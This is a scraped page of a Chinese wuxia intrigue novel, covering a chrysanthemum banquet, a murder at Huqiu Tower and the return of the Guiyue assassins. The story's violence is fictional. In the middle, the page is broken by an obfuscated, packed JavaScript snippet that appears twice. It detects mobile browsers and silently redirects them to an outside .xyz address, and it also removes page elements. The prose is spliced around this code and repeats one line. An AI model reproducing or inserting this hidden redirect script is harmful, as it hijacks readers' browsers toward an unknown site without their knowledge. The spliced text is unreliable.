萧妖雪一皱眉道：“严忌？不过若是路行的云阁没什么反应，我们也不能因为别人喝了一口水，就群起而攻之，毕竟不是朝廷里那群疯狗，看见块骨头就往上咬。” 虽说云阁没有什么动静，但是如果是云阁，日后纠葛对于李家对于潇湘阁都不利，几方已经积怨已久，现在确实需要未雨绸缪。“轻离姐，我这段时间都会在京都，若是楼里面有什么困难尽管找我。” 京都潇湘阁有几个这样能立刻找到的令史都不会嫌多。沈轻离也不客气，爽快的答应下了，京都潇湘阁多个人庇护总归是好的。 简单的对话过后，萧妖雪就起身戴上了帷帽离开了。当她回到李府的时候已经是午饭时分，最近李无忧练武消耗巨大，那胃口也是肉眼可见的增长。一桌的饭菜不一会就被吃的七七八八了，萧妖雪倒是胃口平平，今日潇湘阁一行，得到的信息有点多，是时候为自己以后规划规划了，她需要一些时间思考一下。 饭后阳光正好，萧妖雪躺在一张放在大树下的躺椅上，随意拿了本书遮住脸，打算午休一会，困意刚刚袭来，就听见大门口有些嘈杂的声音。侧耳细听好似是别家的家仆来送什么东西，刚准备不理睬就见一家丁向着自己走过来，那人手中还拿着一封信。来到萧妖雪面前，看到主子并没有睡，便恭恭敬敬行了一礼道：“小姐刚刚徐大将军的女儿徐菀露送来请帖，邀您去参加本月十五的菊花宴。” 萧妖雪听到竟然是父亲的老对头的女儿邀请自己去的都是感兴趣的一挑眉，并没有接过请帖而是而是问到：“往年这菊花宴也都是她举办的？都邀请些什么人？” 小厮回忆道：“徐大小姐平时因为父亲不多在家，也没有选好夫家，所以倒是挺喜欢邀约不少人到家中做客，这京都的菊花宴也是已经持续了好几年了，似乎也都是徐大小姐主办的。徐大小姐喜欢热闹每年发请帖都是覆盖京都的大小官员，只要家中有女子的，基本都会邀请。所以菊花宴也日益成型，成为京都贵女们聚集的一场聚会。” 对于这个徐家大小姐，萧妖雪也早有耳闻，都说虎父无犬女，徐战可谓是东梁的开国以来数一数二的猛将，带兵打战那是名扬四海，而恰巧徐战的夫人走得早，徐菀露的眼中就只剩父亲了。所以徐菀露虽是女子但是打小刀叉剑戟、斧钺钩叉是摸了个遍，最后选了一条长鞭傍身。但是听来的消息只说了这位大小姐本事，大小姐的心思是一点都看不透，现在看来这大小姐甚是有趣，就连自己这样对立家族的也发来请柬，倒不似那样小肚鸡肠的人，只是不知道这份大度是学她那爹装的还是说打算把自己邀请去了在羞辱一番。不过人家请柬都已经发到家里了，自己不去倒是显得小肚鸡肠了。于是便伸手接过请柬，请柬上的字笔锋锐利刚劲，虽是这纸张不大，但是这字也是大开大合。恐怕这写请帖之人多半就是这徐家大小姐本人了。请帖上简明扼要的写着这次聚会的地点和时间，其他没有什么过多的赘述。 萧妖雪作为李府的千金，认祖归宗已经过去许久，可是这段时间整日都呆在府中抓尸蛊，与她身份相仿的这些位千金倒是一位都还没有去拜访，现在看来这个菊花宴确实是个好机会。 时间转瞬即逝，萧妖雪按着请柬上的时间来到了聚会的地点，这地方是徐府的在城边的一座庄园，里面的几倾田地里种的全是菊花。这些菊花都是有人精心伺候，一朵开得都快赶上一个大碗，颜色是不似常见的白色黄色，放眼望去各色都有，让原本带着一丝悲寂的花朵变得更有生机。此时园中已有不少女眷他们二三成群，有说有笑，这些京中贵女就像是这园中的花朵一样，娇美动人，但是对于院墙外的世界只听风说过，难得有一次这样的聚会，叽叽喳喳的说着自己听到的故事，这反倒让萧妖雪感觉到些许无聊。 萧妖雪在之前在谷中就听文妆说过，这京都的千金，自幼就是卯足了劲要嫁进皇家的，这皇室的几个皇子早就被他们翻了个底朝天。对如今还在京都的这几位，甚至是藩王之子的性格喜好她们都可以说信手拈来，萧妖雪虽然作为潇湘阁的少阁主，但是对于这些中看不中用的消息往往就是一听一乐的态度，如今却身处这样四处都是这话题的地方，难免会有些局促。 花园中心的位置有一座凉亭，四周围着纱幔，萧妖雪见那里没有其他人，便想着走过去图个清净。正走一半的时候，一个柔弱的女声叫住了她：“请问是萧姑娘吗？” 萧妖雪转头望去，是一个看起来和自己年岁差不多的小姑娘，不过看起来就是那样弱不禁风的样子，仿似风一吹，就会把她摧残了。女孩眼中却与其他之人甚是不同，萧妖雪透过的她眼睛看到了今天夕阳绚烂无比。这样女孩在京都才是珍品，不应当遭受那些污秽侵蚀。 “是我不错，敢问姑娘是？”或许就是刚刚那一瞬间，女孩的眼睛太过诱人，又或许是这偌大的花园中她是第一个来同自己搭话的人，萧妖雪不禁愿意同她多说几句。 姑娘得到了肯定的答复后，喜悦之色肉眼可见的爬上眉梢，急急忙忙道：“啊，真的是你，我是黄清落，之前听说了萧姑娘在京中的故事，我就很敬佩你，今日一见果然不一般。”她这番话声音不小，周围站得近的几个女眷都有听到，随即就对她投来了鄙视的目光，更有胜者小声嘟囔起来：“又是黄清落这个疯子，平时做事没个谱也就算了，这李家的人就是个大麻烦，别人见了都是绕着走，她倒好这还倒贴上去。要我看就是她那个爹耳朵软，什么都听女儿的，这下好了，女儿给他找了个大麻烦，有得他们黄家乱的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着眼前这个看着自己眼睛里都要冒星星的姑娘，萧妖雪只觉得她是一个值得一交的朋友，日后若是成才会是自己的一大助力，若是不成市场能见到也可以赏心悦目“清落，不必如此客气，你我年岁差不多，以后叫我妖雪就好，还有我那些都是被迫自保，你生活安定，最好还是不要遇上这些个事。” 黄清落听到这脸瞬间就垮下来了，道：“萧姑…哦不妖雪你是不知道，这日子哪有安稳，我爹爹整日里逼着我学那琴棋书画，可是我对那些东西真是一窍不通，根本学不会，这玩意可比算账本难得多。” 唉，果然家家都有本难念的经，正当萧妖雪打算出言鼓励她几句的时候，一个不同于那些莺莺燕燕亲眼细语的豪爽女声传过来：“萧姑娘这来得挺早，恕我耽搁了一下，照顾不周，抱歉抱歉，望萧姑娘莫要怪罪。” 萧云雁小记： “哐！”一声锣响，萧云雁率先上前，长剑直指路川咽喉。路川却还是一脸不屑，回手拔出身后重尺，就这样轻轻一挡，便挡住了萧云雁的进攻。随后双手握尺抡至身侧，一个马步扎稳，腰腹带动手臂将重尺卷席着排山倒海之势，向着萧云雁就呼了过来。萧云雁自知挡不住，只能后撤。只见路川借着这力道原地转了一圈，随后重尺在手中轻轻一翻，就如同一座小山一般又向萧云雁压了过来。 见到这场景，台下的众人都是大惊，这路川分明就是想下死手，就连辩武的大师也停止了讲解，站起身时刻准备出手。 好在千钧一发之际，萧云雁还是及时闪身，避开了重尺的攻击，但是重尺砸落在地上引起的余波还是将萧云雁推出了一段距离。 路川见一击得手，又紧追一步故技重施，他知道萧云雁用的长剑在他的重尺面前是毫无得手的可能，只要这娘们怕死，自己今晚就可以快活了，想法火光电石之间从他的脑海中掠过，但是手上的动作丝毫没有减慢，又是侧身抡尺，但这次出乎他的意料，萧云雁没有再推，而是左手顶着长剑硬生生吃下了这一击，整个人侧飞出去，路川因为重尺的惯性，还是转了半圈，但是在他刚刚稳住身形之时，脖子上一阵冰凉触感，让他眉头一皱。 侧眼看去萧云雁的那把长剑已经架在了自己的脖子上，眼见此局将定，路川将重尺向地上一丢，众人都以为他就要认输时，他竟然冒着被杀的风险一掌推出重重地打在萧云雁的肩膀上。 刚刚那次的当重尺已经让萧云雁负了伤，她的左手已经在一阵剧痛后失去了知觉，右手虽能持剑，但是眼尖的人一眼就能看出来，她的手在忍不住的颤抖。本想着路川会做个君子，就此认输，没想到却是搞偷袭的小人，这一掌萧云雁只能硬抗，二人一触即分，双双稳住身形后，萧云雁喉头一甜，喷出一口鲜血。但是却没有丝毫犹豫再次想着路川就冲了过去，她不能给他捡起那柄重尺的机会。 事情果然如萧云雁所料，路川失去了重尺就只能赤手空拳应对，但是也确实是她低估了路川，此人常年修习重尺，手上的劲堪比一些不错的习掌之人，几式过去萧云雁都没有占到好处。加上之前身上就带了伤，萧云雁的进攻速度已经明显不及先前。 眼见台上的优势再度倾向了路川，武清有些坐不住了，放在身后座位上断秋水却不知什么原因开始嗡嗡作响。 就在下一秒，断秋水出鞘直奔擂台而去，剑尖直指路川后心，同时在场其他剑客的剑也同时出鞘紧跟断秋水，停在了路川后背一毫之地。感受到身后突如其来的剑气，路川的掌式只能硬生生的停住，此场比试就此落幕。在比赛结果宣布之后，那些飞奔向路川的剑，伴随着萧云雁一挥手竟然又原路归鞘似乎什么都没有发生。 14. 鬼月杀人 “萧姑娘这来得挺早，恕我耽搁了一下，照顾不周，抱歉抱歉，望萧姑娘莫要怪罪。” 萧妖雪闻声望去，来人是一名女子，只是从气质上便不是寻常闺中女子，女子头发没有过多的发饰点缀，只是一根朴实的木簪将长发固定在脑后，皮肤略微有点黑，腰上还挂了一个皮鞭子。衣服也是简单款式的骑射装束。加上这气场，想都不用想，这必然是长相、性格与名字完全不搭边的的徐家大小姐徐菀露。 萧妖雪对着徐菀露抱拳道：“徐大小姐果然气度非凡，今日一见甚是荣幸又怎会怪罪。” 就在二人简单寒暄时，旁边一个尖锐女声传了进来：“哟，菀露呀，你还道歉，你这菊花宴现在门槛现在都低到什么地步了，不入流的小吏的女儿，不知真假的相府千金。要我说呀，你呀别心这么大，别人家来这花不看，给你的花田踩到一片，你这不就得不偿失了么。” 只见来人年纪比她们几人都要大些，但是浓妆艳抹，衣着也是尽显张扬，那嘴唇点得像是要滴出血来了，若是大半夜见着了，说是那个山洞里爬出来的吸人精气的妖怪也会有人相信。再加上这女子身型富贵，嗓子确实一点都不圆润，身上的香薰味在几十步开外就可以闻到，说出来的话也不中听，萧妖雪只觉得见着这女子就令人头脑发昏、恶心想吐。 黄清落看到来人倒是不介意对方说了什么，对着女子笑到：“梅姐姐，你总算来了，刚刚徐姐姐还到处寻你呢。” 被称作梅姐姐这位正是现在财政司副职梅良的女儿梅正源，仗着财政司每年暗中收入不少，这大小姐的生活，堪比一些皇宫贵族，虽然他父亲也是多次劝她低调，但是怎奈这女子性子就这样，一点财都藏不住，最后就成了梅良天天烧香拜佛，梅正源四处广散财源。 梅正源丝毫没有要搭理黄清落的意思，看着徐菀露不接自己的话，又自顾自的说道：“菀露，你听姐姐一句劝，你以后可是京都几位殿下要抢着要的人，你和这些不干净的人来往，岂不是自降身份吗？”说完还撇了一眼萧妖雪其中暗示之意再明白不过了。 “梅姐姐，你怎么这么说话。”就连黄清落这般心思单纯的孩子都看出了她的意思，自然不用说徐菀露。萧妖雪本意不想就这这个话题说，在场的人也没有人愿意。没想到梅正源的了黄清落接嘴还来了兴致。“哟，黄姑娘该不会不知道吧，你身边这位，再混进李府前可是干青楼的，也不知道伺候过多少人呢，你看看谁敢靠近她，这你该不会不知道吧。” 话已经说到这个份上，谁听着都不舒服。黄清落性子直，直接怼了回去“你说什么呢，妖雪才不会呢，再说了她可是李相的千金，我看她日后才是嫁皇子那个。” “哈哈哈哈哈哈哈嫁皇子哈哈，她嫁哈哈哈哈哈哈哈”梅正源用手帕捂着嘴像是听了什么不得了的笑话直笑个不停。徐菀露实在是听不下去了打了圆场。“正源，你今天来得着实有些晚了，你看天都要黑了，这花都有些看不清了，不如我们先将晚饭用了，改日你再来我这细细赏花。” 梅正源本还想继续说什么，却看到了徐菀露那带着威胁含义的眼神，收住了嘴。但是临走还是用她们几人都听到的声音嘟囔了句。“当然可以嫁皇子，嫁给那周明理，整天在那鸟不拉屎的地方看荒漠多好。”之后也不在乎几人表情，就自顾自地走了。 萧妖雪知道不在京都的皇子藩王地位都会低一些，但是她没想到这周明理作为圣人的第五个儿子，在京都的地位已经低到一个官吏家女子都能这样随意地直呼他本名。她也没想到她的婚事能被梅正源给说中，或许这也是一种人之将死，其言也善吧。 “妖雪和清落都是第一次来参加这菊花宴，待会儿晚宴上的菜品都是由菊花做成，你们且尝尝，若是喜欢，我后厨还有，你们大可带些走。”徐菀露给这有些尴尬的气氛打了圆场，亲自将二人引导宴席。这倒是令萧妖雪对父亲政敌家的千金另眼相看，这般胸怀，不愧是见过大世面的人，之前对她的揣测是有些偏激了，只是可惜她们注定不能是朋友。 萧妖雪在徐菀露离开后疑惑地看向黄清落道：“你在京城不是有段时间了吗，怎么今天才第一次参加这菊花宴？” 黄清落道：“我之前虽说是在京城，但是父亲总担心我借着去参加聚会的名头，又去接触商道，这次也是我苦苦求了父亲好久，给他看了所有宾客的名单，他才同意的。” 这么说萧妖雪就很疑惑，那若是如此，其实黄清落前几年也大可以如此，为何就要等到今年，采用这样的方法，而且听家里家丁议论才知道，这黄家今年答应的也确实很晚，似乎是在她答应来之后他们才应下来的，徐菀露本来是出于礼貌给每一位世家千金都发邀请函，往年黄家没人来，今年她也不指望有人来，没想到这神秘的黄家大小姐，竟然还真的来了。 黄清落看着萧妖雪似乎还有疑问，便继续道：“其实我刚来京都的时候就听说了你的事情，那时我就觉得这京都呀，东梁人最多的地方尽然还有野兽，真是可怕，这女孩也是可怜，还那么年纪轻轻，就命丧黄泉了。可没想到，你竟然没死，而且你认祖归宗那天的所作所为真是太惊艳了。我想我若是这样丢了十年我还能活着回来吗，又或者我会变成一个经商奇才。”说罢，小姑娘开始眯着眼睛幻想起来了。 收到此处，萧妖雪总算知道为何今日这姑娘才见自己第一面就这样“死缠烂打”，原来还有这样的小心思。不过或许她父亲的做法是对的，她的心思太单纯了，萧妖雪觉得若是有一日，自己没有能力护她，她愿意以牺牲她们之间的友谊为代价，就换这位干净的姑娘平静的一生，但显然不是现在。 此时园中侍女开始张罗各位大小姐前去用膳，晚膳也是极尽奢侈，山珍海味应有尽有，但也正如徐菀露所说的那样，每道菜里都可以看到菊花的身影。不过这菊花是今天这晚宴的主题，但是谁都吃得出来，它并不是这主角，就像这京中，可能很多人忙碌一生，看似得天独厚，却也只是别人安排的主角，一切都是为了给那些幕后的主角做铺垫。 晚膳过后，人群各自散去，因为李府和黄府是同一个方向，萧、黄二人便一同走了一段路。途中路过虎丘阁，这事京都中最高的楼，可是之前那老板经营不景气，卷了钱财跑路了，现在整个虎丘阁都没有找到愿意接手的下家，在这灯火通明的夜晚，楼中也是一片漆黑。今日正逢十五，天上的月亮的又圆又亮，照得京都的街道如同白昼，此时这月亮正路过了虎丘阁，如同一盏明灯悬挂在虎丘阁之上，也颇为壮观。萧妖雪和黄清落路过之时便发现了这虎丘阁下面站了不少人，起初二人以为都是为了赏月而来，可是当二人再度抬头看那虎丘阁之时就便发现了不对劲的事情。 圆月恰好行至虎丘阁的正后方，虎丘阁处于背光一面，虎丘阁上面是什么情况一般人是看不清，可偏偏不知道是怎么回事，这虎丘阁顶楼竟然点了一层楼的灯，将这层楼的情况照得一清二楚，只见在顶楼的栏杆上有一人立于栏杆之外，若是眼力更好的人就会看见，那人胸口上插着一把刀，被挂在围栏之外。此时官差未到，百姓不敢上楼，萧妖雪转头对黄清落说：“清落，你快去刑案司，说这里出事了，然后你就回去好好休息吧，不要多想。” 黄清落也是被吓到了，但很快恢复理智：“刑案司只接与豪门世家有关的大案子，这他们会管吗？” 萧妖雪又看了一眼虎丘阁道：“你就说死的是财政司副职梅良的女儿梅正源，让他们速来。” 黄清落还想提问，但是想到萧妖雪是练武之人，说不好已经看清了死者的身份，但是梅姐姐分明在我们之后离开了菊花宴，又怎么会在我们先到呢？这虎丘阁京都人都知道已经封了好久了，梅姐姐是怎么上去的呢？梅家在京中势力不小心又是谁要置她于死地呢？ “快去！”正当黄清落还在呆愣，萧妖雪又着急的催促了一遍。此事不知道是巧合还是人为，今日梅正源才对她们冷言相向，现在就被残杀，最好就是快些报官，别让脏水泼到这边。 不错，楼上的人确实是梅正源，但只有萧妖雪这样练气之人才可以从这个位置位置看清，此时的梅正源，整张嘴都被划烂了，而她的手更是五指已无。只剩一个手掌。死状惨不忍睹，却似乎隐隐有些含义在其中。 看着黄清落离开后，萧妖雪避开了人群从旁边的屋子上翻进了虎丘阁。 虎丘阁的下几层并未燃灯，前任老板信佛，这虎丘阁之中的的装饰都收到这位老板的影响，多少带点宗教信仰，梁柱上的画像，悬挂的壁画，楼梯上放置的装饰，都有那么一丝神佛的气息，在荒废这段时间后，竟然有那么一丝鬼邪之气。行至顶楼便看到楼中灯火辉煌，挂在栏杆上的身影确实就是梅正源。萧妖雪在顶楼扫视一圈，却并未靠近栏杆，毕竟官府的人还未到，现在将尸体取下来确实不合情理。不过这楼中虽说是有一段时间没有人经营，窗户的密封性还是不错的，地上基本没有积灰，只是在一个角落中却有一件不似这栋楼里的东西——一个带血的纯白剑穗。萧妖雪识得这枚剑穗，正是之前袁梅所配的，那有怎么会落在这里呢，答案呼之欲出。 此事已然明了，与她们之前的争执没有半分关系，现在她只要安安静静地离开，之后的事情交给刑案司处理就好，但是却不知道什么原因，萧妖雪竟然在离开前诡使神差的拾走了那剑穗。随后而来的刑案司一番搜查，自然也是一无所获。 从梅正源的死状来看，恐怕是有人蓄意报复，不过她之前在京都就出了名的跋扈，想必仇家不少，不过到底是谁会这般痛恨于她，又有这样的能力将她杀死，而这人与袁梅又有什么关系呢，这些问题恐怕只有亲眼见到袁梅才可以有所解决吧。 因为当时还未到宵禁，有不少人看见当时虎丘阁上挂着个人，所以第二天这事情很快就传得满城风雨了。但不知道是哪里传出来的消息，说干这事的不是人是鬼！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561873|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 故事在民间越穿越玄乎，而有一个本应被人们遗忘的名字尽然又被拿了出来——鬼月。鬼月在十年前被从阴影中拽了出来，置于阳光之下，炙烤而亡。百余口生命在哪日晨辉普照大地之时，丧失了鲜活的生命，京都城四角，同时行刑，据说血流成河，血气笼罩着京都足足有三日才散去。在此之后，圣上亲下了一道口谕，不允许任何人谈论鬼月，否则都将以妖言惑众捉拿。自此之后，鬼月一词就渐渐淡出了人们的视线。那么这次这个词又被翻出来谈论必然不是巧合，当然也不是一个好兆头。 师傅早就说过，袁梅的袁是袁清的袁，当下这满城风雨快些找到袁梅才是要紧事。 萧妖雪来到了袁梅住的客栈，这里离虎丘阁不远。萧妖雪已经做好了，袁梅已经退房离店的准备，可谁料到，找伙计一打听她还在，此时萧妖雪心中的疑惑又加深了一层。按着伙计所说的房号，萧妖雪敲响了房门，并未等多久，门内就传来脚步声。门开之后，袁梅看到是萧妖雪并没有漏出疑惑惊慌的神情，她的眼里好像还是意料之中的含义更多。 侧身将萧妖雪迎进了屋内，因为是长期客房，屋内东西是按袁梅的喜好放置的，现在也并没任何要收东西走人的征兆。坐定之后，萧妖雪并没有着急开口，而是在袁梅为她将茶水倒好之后，缓缓道：“你好像知道我今天为什么来？” “昨夜虎丘阁的事是我做的。”袁梅说出这话的神情格外平静仿佛不是她是摘了一朵花，而不是杀了一个人。 “你就不怕我拿你报官？” “你都把我的剑穗拾走了，也不着急现在报官吧。” 在之前的相处中两人无形中已有了默契，刚刚这样简单的一交锋，对方关于昨夜之事知道点什么都心知肚明了。 萧妖雪也不拖泥带水，直奔自己疑问所在：“鬼月和你是什么关系？” “潇湘阁和你是什么关系，鬼月和我就是什么关系。”袁梅没有正面回答而是用了这样一个隐晦的回复，房间中的气氛再度焦灼起来。 终于还是袁梅打破了这份安静“没想到爹爹当年保护我们确实保护得好，尽然连潇湘阁阁主都不能确定我们的身份。不错袁清是我的父亲。” 萧妖雪听到这里，心中的疑惑也是解去大半了，之前在看鬼月的卷宗之时有看到说袁清有两子，一儿一女可是却都早年夭折了，看来这也是袁清早有所料了。至于袁梅怎么查到自己是潇湘阁的人这件事，萧妖雪也不愿深究，毕竟鬼月当年的势力是潇湘阁现在都不能匹敌的，谁也说不好袁清死后，没给自己的子女留下些什么。 “你们之后打算怎么做？”旧事已经是旧事了，不适合现在来深究，萧妖雪也将二人的对话拉回了昨夜之事。 “妖雪，这次的事情，我们已经安排好了，就希望你不要声张，也不要参与太多。” 萧妖雪道：“恕我直言，梅良现在在朝中势力不小，你们就这样大张旗鼓的把鬼月旧时翻出来，真的没问题吗？” 袁梅苦笑一下说道：“鬼月旧事迟早要提，梅正源只是个开端。但说实话有些东西我还是不太清楚，但我相信兄长，剩下的我也不便多言，相信之后也可见分晓。” “袁梅你与你兄长，现在应当叫袁墨吧，若有需要你们便去潇湘阁，虽然我们不能站出来为你们作证，但是鬼月一事潇湘阁始终站在你们这边。” 萧云雁小记： “凭什么？她作弊！”路川显然对这个结果很是不满意，冲着看台上的大师大喊。作为云阁的弟子，在自己的主场被逼到这个地步，路川真的有些急了，所作所为已经失了云阁弟子的风范。但是他现在只希望证实萧云研就是用了场外的力量才取得这场胜利，可惜最后他得到的答案显然差强人意。 “萧姑娘的御气术用得还真是妙呀！”说话的并非是大师，而是坐在大师身旁的一个男子，之前战况激烈无人注意到他的存在，如今他开口了，不少人都将目光投向了他，其中自然也包括武清。 是他？之前萧姑娘在玄宗打擂台的时候他也在台下。武清心中想到。 不错此人正是之前那人，只是今日他的服装更为华丽，紫金袍上面有用金线勾勒出一条游龙，此人竟然是皇室众人，不少人都开始窃窃私语，皇家的人来了云阁，这可是稀罕事。就连台上的萧云雁都有些惊讶，皇室中人怎么会出现在里，甚至还会为自己说话。在场的唯独路川还在为自己失败而执着。 “就算如此，她用的那些剑都是场外的怎么能算？” “路川，够了，就算她不用那些剑，她只用你场上扔下的那把重尺，你也赢不了。”大师见到身旁的贵客已经发话，也不再犹豫直接掐灭了路川最后希望。 萧云雁走到路川身旁说道：“记得我们的赌注，今日天下人为鉴，你别想着蒙混过关。”说罢便离开擂台。 同时刚刚那位开口说话的华服男子也不知去向，只留下山风与人群。 15. 鬼月杀人2 早朝之上，圣上新封了一位后生为刑案司的副职，刚入朝为官便官居一司副职，这是多少人想都不敢想的，要知道就连李治的长子李安国到现在都还只还是准备擢升副职，但这次在场的没人羡慕他。这一切却都是这位后生的主动请缨，而此人正是袁梅的哥哥——袁墨。 袁墨一身官服穿戴整齐，面容还有些许没有褪去的稚气，剑眉星目，眼中透露着丝丝英气，正应少年郎这词，若是京都中的那些个女孩子看见，估计可以迷倒一小片，毕竟另外一大片已经被李安国迷得神魂颠了。 旁边的公公刚捏着嗓子喊道：“有本启奏，无事退朝”，就有人递上了梅正源的案子以及市井中的流言，而圣人一再询问谁愿意接手此案，金殿之上却是鸦雀无声，又钦点了几位大人，还竟然都被他们手上还有未处理完的急事给搪塞了，见无人愿意承接此，圣上难免有几分动怒，此事涉及旧案，又搅得京都满城风雨，这些吃官粮的竟然如此愿意担责任。却在这时，人群的最后面走出来一人，正是自己刚刚点去刑案司的后生。袁墨走到大殿正中，规矩行礼后，扬声道：“臣袁墨愿接此案，若不能破获，一切后果由臣亲自承担。” 此时反倒是圣人还有些犹豫，毕竟这也算近年来京都的大案子，就交给这样一个毛头小子，着实不妥，但是看看其他人一副胆小怕事的样子，也让人心寒。正当圣上犹豫之时，李治上前一步道：“陛下，既然袁卿愿意尝试，我觉得这也不乏是个好机会，不如就让他一试。” 此话一出，金殿之上更是落针可闻，好在这样的安静只持续了几息，很快就被一句“准了”给打破了。群臣只当是因为有了李治这话，相当于是给袁墨打了个包票，圣上也乐得卖李治一个面子，以后出了事也可以再好好的薅一下这只肥羊。却不知在那几息之间，无数个瞬间已经从圣人周钦德的脑海中闪过。 鬼月杀人是重案，如今袁墨方才入了刑案司人微言轻，要办此案袁墨定然需要一个举足轻重的能号令刑案司官员的职位。如此便出现了东梁开国以来最年轻的刑案司副职。 随着圣人宣布了结果，李治和袁墨也是齐齐谢恩，可无人在意人群中的兵马司副职钱万仕的脸色越来越差。 萧妖雪离开客栈返回李府的一路就在想，鬼月的情况之前自己在卷宗中看到过。鬼月是由袁氏组建的，历经三代人，近百年的发展，之前一直与皇室合作，负责暗杀和密报，鬼月中人，都是从小经过特殊训练的，一辈子注定生活在阴影之中的。而潇湘阁同样是另一个服务于皇室的组织，不过只是每任阁主择一明主，与皇室做生意，交易信息。自从鬼月被灭之后，皇室对潇湘阁的依赖也越来越重，不过萧云雁还是坚持以交易的方式与皇室进行合作。这也是为了避免当年鬼月惨案再现，毕竟潇湘阁都是这么多流落的女子，可经不起鬼月这样的经历。 今日袁梅袁梅这话显然是有人授意她才会这么说，那授意的那个人多半是她的兄长，如果鬼月案现在被重新拿出来，他们估计是要为了报仇，可是当年牵涉到鬼月案中的人不在少数，甚至圣人在这事中也有一些过激的决定，萧妖雪自从将袁梅认做朋友，她便不希望她在这些事情中受伤，不过现在袁墨已经将袁梅牵扯进来，而且不知道袁墨还通过什么手段查到了自己在潇湘阁的身份，看来是时候会会这个袁墨了。 思考之间，竟然已经不知不觉走到饭桌之前，丫鬟已经布好了菜，李治与王氏也纷纷落座。 饭桌上，李治和李安国正好谈到了袁墨主动请缨之事，李安国认为这只是少年心气胜，但是李治却没有表示赞同但是也没有反驳。听到这萧妖雪大概也知道了今天朝廷之上发生的事情，唯一令她奇怪的点是父亲为何会突然为这位袁大人打包票，毕竟在现在知道袁墨全貌的萧妖雪来看，父亲这个决定就是在把自己往火坑里推。 不得不说，这袁墨确实有些算计，若圣上只是点了袁墨进刑案司，之后他估计很难再有机会来金殿上早朝，这命案发生、李治的提点、袁墨主动请缨确实都太巧了，但若是这个案子最后能得到一个合理的结果，可能圣上也不会再深究。 晚上回到房间，萧妖雪就找来一个家丁，拿了一封信和一个地址给他，让他把信送过去，家丁看着陌生的地址，有些疑惑，但是既然是小姐的要求，自己也没有过问的理由。于是便出了李府，地址是在城西的兰巷，李府位于城东，家丁步行过去有段时间加上小姐也并未催促，这家丁走的也不快，过去就差不多用了半个多时辰。 兰巷的位置不及李府好，那里鱼龙混杂，家丁去的时候天已经黑了，按照小姐给的地方把信留了，他只觉得后背发凉，仿佛幽暗之中有双眼睛直勾勾地盯着自己，这让他又不禁加快了脚步。不过他应该庆幸他不知道，他刚刚走过的路上，刚刚躺了两具冰冷的尸体。 时间回到两个时辰前，三儿和四儿接到自家大人钱万仕的命令，负责跟踪今日的新贵袁墨。二人从袁墨出了刑案司就开始跟踪，远看这位袁大人身型瘦削，有种文人的柔弱感，二人跟了他一路，他也并未察觉，二人觉得自己是谋了份美差。刚转进兰巷不久，二人就看着袁墨走进家中，二人正准备回去交了这份美差，就觉得脖子一凉，随即死亡的气息从背后袭来，二人还来不及喊叫，就失去了生命。 二人倒下后，身后站的赫然是袁梅，袁墨此时又从门内出来，二人对视一眼，袁梅开口问道：“送到哪里？” 袁墨道：“钱大人的书房内，你看可以吗？” 袁梅一笑：“哥，还得是你呀。” 此时天色已暗，钱府的围墙上人影闪过，书房门一开一关，之后夜色又重归安静。深秋的天气到夜晚已是寒冷，但此时钱万仕正在正厅内焦急的等待，久久不见三儿和四儿回来，心中越来越焦急，在这别人家都隆起火盆取暖的时节，钱万仕的脑门上竟然还冒出一层薄汗。下人在旁边端茶送水，也不敢多言，正厅之内出了钱万仕的叹气声一片寂静。突然钱府的宁静被一个女生的尖叫声打断。没过多久一个侍女跌跌撞撞的跑进正厅，对着钱老爷道：“老爷，老爷，不好了……书房……书房……” 女子显然受到了很大的刺激，钱万仕心中的不安更盛，未等侍女说完，就直奔书房而去，推开书房门，里面赫然是今天派出去两个家丁的头颅。两颗头颅上的眼睛圆鼓鼓的睁着，瞪着钱万仕，仿佛在控诉他，怎么没有告诉他们这份活计这么危险。钱万仕看见这一幕也是一下没忍住，一侧头“哇”的口就吐出来了，吐完之后，他只觉得自己的心脏要跳出来了一样，他有一种很不祥的预感，这次他恐怕要折在这位新上任的刑案司副职上。 而他的桌上放着一封信，信上用红色颜料写的：管好嘴，勿乱行事。看起来着实渗人，此时钱万仕的后背已经湿透，若不是明日休朝，他想立刻写封折子说这鬼月案就是袁墨做的，他就是鬼月旧案乱党。要是当时……可是事已至此看来自己真的是被那袁墨算计了，一股无力感席卷了钱万仕，但是他还是不死心，提笔还是写下了决定要参这刑案司副职袁墨一笔。 袁墨也按时收到了那封萧妖雪写来的信，信的内容很简略：明日正午，独自前来，轩味记见。萧妖雪留 袁墨看着信也是一笑，看来今天妹妹那番话确实还是不足以劝退她，不过有一位潇湘阁少阁主愿意入局，倒也是件好事，毕竟鬼月要报仇迟早要和潇湘阁合作，想要瞒着她们确实不容易，倒不如现在就拿出自己的诚意，以后合作也方便不少。 翌日中午，轩味记中人来人往，生意甚是火热，轩味记是京都的老店了，因为价格亲民，口味独特，热度是高居不下，轩味记没有包间都是大堂，无论你是身份，来了都一样的坐大堂。萧妖雪独坐一桌，点了些小菜却并未动筷，不一会袁墨便走进店中，他进店环顾四周，看到萧妖雪的身影，禀退了店小二，径直走到桌前坐下。自来熟的拿起茶壶为自己倒了一杯茶，道：“让萧姑娘久等了，袁墨在这里给姑娘赔不是了。” 萧妖雪一笑道：“不算早，我只是想看看袁大人是真识得我还是假识得我，便早来了一些。” 袁墨听了这话也不恼：“关于萧姑娘之事是父亲，生前留下的信息，不过姑娘放心东西我已经销毁，姑娘的身份我也不会对外宣扬的。毕竟这对我也不会有什么好处。就是不知道姑娘今天叫我来所为何事？” 